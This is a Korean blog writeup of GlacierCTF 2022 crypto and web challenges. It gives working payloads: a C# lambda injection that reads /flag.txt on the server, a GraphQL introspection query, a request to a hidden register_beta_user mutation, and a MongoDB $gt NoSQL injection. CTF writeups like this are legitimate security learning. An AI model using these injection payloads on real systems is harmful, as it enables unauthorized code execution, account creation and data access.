Skip to content

[Writeup] GlacierCTF 2022

Posted on:December 2, 2022 at 06:42 AM

1.

아쉽게 안풀린 문제가 너무 많았다. 90% 정도 풀었었는데 라이트업 보고 아~ 했던 문제들까지 정리한다. github에 소스코드가 올라올 때까지 기다리려고 했는데 이번 주말에 대회가 세 개나 있어서 밀리면 안 될까봐 그냥 쓴다.

2. THE CHALLS

simple crypto - crypto

hZet3iAs1Rvi3eNwOvPlu4en5Sxiwggrofiihkxfuarrqzcckdsrmuagegrpouyaqtqznhqgdfachkirtddpmutksnagisulccf
(생략)
}jjbrolcdsmwtpszsardxelaususuhosobkjmxecrmeqqjycybkeznsdiavvamavujwtxotksxmglkdaszymuidnnkiuewjmxmcxh

대충 이런 txt 파일이 주어진다. 여기서 플래그를 찾는 게 목표이다. 자세히 보면 처음에 대문자와 숫자가 섞여있다. 중간에 {, }, _도 섞여있다.

file = open("ciphertext.txt","r").read().strip()
l = list(file)

for i in range(2,200):
 for j in range(i):
  #print(i,2)
  result = l[j::i] #j번째에서부터 i만큼 잡아옴. 
  if "{" in result and "}" in result:
   print(i,"".join([r for r in result]))

그냥 말이 되는 문자열이 나올 때까지 아무거나 집어오는 게 기본적인 원리다. print하는 조건은 ”{“와 ”}“이 들어간 문자열일 때다.

strange letters - crypto

strange

이런 이미지를 던져준다. 적당히 문제에서 준 힌트와 함께 조합해서 구글링 해보면 monk cipher(또는 Cistercian numerals) 이라는 걸 알 수 있다.

이 이미지를 바탕으로 조합해서 일일히 조합해보면 일련의 숫자열을 만들 수 있다.

4929 4592 1050 0772 3075 7016 7833 6101 0971 7163 0072 8926 6135 7739 4514 4473 4763 1997

29 보면 바로 text로 변환하는 건 아닌 것 같고, decimal > hex > text(ascii) 로 변환하면 flag가 나온다. 또는 long to bytes를 해도 된다.

RCE as a service 1 - web

cs 파일과 md 파일을 주는데 처음 접해보는 나로서는 당황했다.

curl --request POST \
  --url https://rce-as-a-service-1.ctf.glacierctf.com/rce \
  --header 'Content-Type: application/json' \
  --data '{
	"Data": ["Charmander", "Bulbasaur", "Bulbasaur"],
	"Query": "(data) => data.Select((d) => d == \"Bulbasaur\" ? \"Charmander\" : eval("cat flag"))"
}'
// This route is for testing the connectivity.
app.MapGet("/", () => "HACK THE 🌍!");

”/“에서 웹앱의 백엔드는 lambda 표현식을 받고선 그것을 실행해준다. 그냥 제목에서부터 써있듯, RCE를 통해 페이로드를 주입할 수 있다.

app.MapPost("/rce", (WorkLoad workLoad) =>
{
    var (data, query) = workLoad;

    var src = $@"
        using System;
        using System.Linq;
        using System.Collections.Generic;
        
        namespace RCE
        {{
            public static class Factory
            {{
                public static Func<IEnumerable<string>, IEnumerable<object>> CreateQuery = {query};
            }}
        }}";

    var options = CSharpParseOptions.Default.WithLanguageVersion(LanguageVersion.CSharp10);
    var parsed = SyntaxFactory.ParseSyntaxTree(src, options);

    var compilationOptions = new CSharpCompilationOptions(OutputKind.DynamicallyLinkedLibrary)
                                      .WithUsings("System", "System.Collections.Generic", "System.Linq")
                                      .WithOptimizationLevel(OptimizationLevel.Release);
    
    var compilation = CSharpCompilation
                            .Create("RCE.dll")
                            .AddSyntaxTrees(parsed)
                            .WithOptions(compilationOptions)
                            .WithReferences(references);

    using var peStream= new MemoryStream();
    
    var emitResult = compilation.Emit(peStream);
    if (!emitResult.Success) {
        var errors = string.Join(" && ", emitResult.Diagnostics);
        throw new Exception($"Compiler Error(s): {errors}");
    }
    
    var rawAssembly = peStream.ToArray();
    var assembly = Assembly.Load(rawAssembly);
    var factory = assembly.GetType("RCE.Factory");
    var createQueryField = factory?.GetField("CreateQuery");
    var queryData = (Func<IEnumerable<string>, IEnumerable<object>>) createQueryField?.GetValue(null)!;
    
    var result = queryData(data);
    
    return Results.Ok(result);
});

/rce는 이렇게 생겼다. md 파일을 보면, curl로 간단한 post 리퀘스트를 보내 플래그를 읽어오면 되는 것 같다.

관련 자료

SSTI 공격에서 os 모듈을 가져와 쓰는 것처럼, 파일 입출력 함수를 사용한 페이로드를 써줘야 한다. 위 링크에 자세한 내용이 나와있다.

"Query": "(data) => data.Select((d) => d == \"Bulbasaur\" ? \"Charmander\" : String.Join(\" \", System.IO.File.ReadAllLines(@\"/flag.txt\")))"

그냥 md 파일에 있는 예시 lambda문의 뒷 부분만 바꿔준다.

Flag coin 1 - web

언인텐으로 풀었지만 제대로 된 풀이 방법도 업로드 해보고자 한다.

flag

들어가면 이런 화면을 마주하게 된다. 회원가입은 불가능하다. 그렇다면 로그인이 가능하게 만들어야 한다.

const graphql = async (query, variables) => {
  let res = await fetch("/graphql", {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({ query, variables })
  });
  return await res.json();
};

const login = async () => {
  let username = $("input[name=user]").value;
  let password = $("input[name=pass]").value;
  let res = await graphql(`
      mutation($username: String!, $password: String!) { 
        login(username: $username, password: $password) { 
          username 
        } 
      }
      `, {
    username,
    password
  });

main.js 는 다음과 같다. graphql를 이용하고 있다는 것을 알 수 있다.

https://graphql.org/

mutation을 이용해서 로그인을 핸들하는데, 우리가 아이디와 패스워드를 입력하면 백엔드는 graphql를 이용해 그러한 유저가 있는지 체크하고 결과를 반환한다. 그것을 조작하면 된다. 이쯤에서 graphql 취약점을 찾아보다가 이런것을 발견했다.

__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}}

이걸 보내면 graphql의 모든 스키마가 나온다.

flag2

중간을 훑다보면 register_beta_user가 있다. 사실 이건 삽질한 흔적이고 다시 graphql.js로 돌아오면 좀 더 명확한 스키마가 나와있다.

const mutationType = new GraphQLObjectType({
  name: 'Mutation',
  fields: {
    login: {
      type: userType,
      args: {
        username: { type: GraphQLString },
        password: { type: GraphQLString },
      },
      resolve: (_, args, context, __) => { return login(args, context) }
    },
    register_beta_user: {
      type: userType,
      args: {
        username: { type: GraphQLString },
        password: { type: GraphQLString },
      },
      resolve: (_, args, context, __) => { return register(args, context) }
    },
    redeem: {
      type: voucherType,
      args: {
        voucher: { type: GraphQLJSON },
      },
      resolve: (_, args, context, __) => { return redeem(args, context) }
    }
  }
});

register_beta_user의 구조에 맞춰서 post request를 보내주면 된다.

import requests
query =  {
    "query": "\n        mutation($username: String!, $password: String!) { \n          register_beta_user(username: $username, password: $password){ \n            username\n            } \n        }\n        ",
    "variables": {
        "username": "myname",
        "password": "mypass" 
    }
}
addr = 'https://flagcoin.ctf.glacierctf.com/graphql'
cookie = {"session":"s%3Aasdf.I8iZkrK6Ef4cAtBFTl8630Tk%2B59yeS3UCzJWiTdb%2Fb8"}
r = requests.post(addr, data=query, cookies=cookie)

print(r.content)

myname / mypass로 로그인이 가능하다.

Flag coin 2 - web

1을 언인텐으로 안 풀었으면 이게 쉬웠을 테지만, 삽질을 했다. 위에 나와있는 graphql.js 코드를 보면 voucher의 타입으로 GraphQLJSON을 받는다. 데이터베이스는 mongoose를 쓴다. 그렇다면, graphql을 통한 NoSQL 인젝션이 가능하다. $gt 연산자를 써서 플래그를 구해준다.

관련 자료

import requests
query =  {
    "query": "\n        mutation($voucher: JSON!) { \n          redeem(voucher: $voucher) { \n            coins\n            message\n          } \n        }\n        ",
    "variables": { "voucher": { "code": "{\"$gt\":\"\"}" } }
}
addr = 'https://flagcoin.ctf.glacierctf.com/graphql'
cookie = {"session":"s%3Aasdf.I8iZkrK6Ef4cAtBFTl8630Tk%2B59yeS3UCzJWiTdb%2Fb8"}
r = requests.post(addr, data=query, cookies=cookie)

print(r.content)